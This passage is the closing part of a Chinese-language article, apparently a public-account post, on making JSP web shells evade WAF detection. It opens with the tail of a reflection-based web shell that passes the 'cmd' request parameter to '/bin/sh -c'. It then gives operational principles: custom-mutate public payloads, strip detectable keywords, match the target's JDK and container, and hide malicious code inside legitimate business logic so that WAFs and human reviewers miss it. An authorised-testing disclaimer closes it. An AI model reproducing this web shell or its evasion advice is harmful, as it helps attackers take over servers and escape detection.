    m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false);
%>

适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用)
避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。

实战免杀核心原则

  1. 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果;
  2. 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露;
  3. 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API;
  4. 合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选;
  5. 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。

最终合规红线

再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。

THE END
喜欢就关注一下咱们公众号吧
点赞37 分享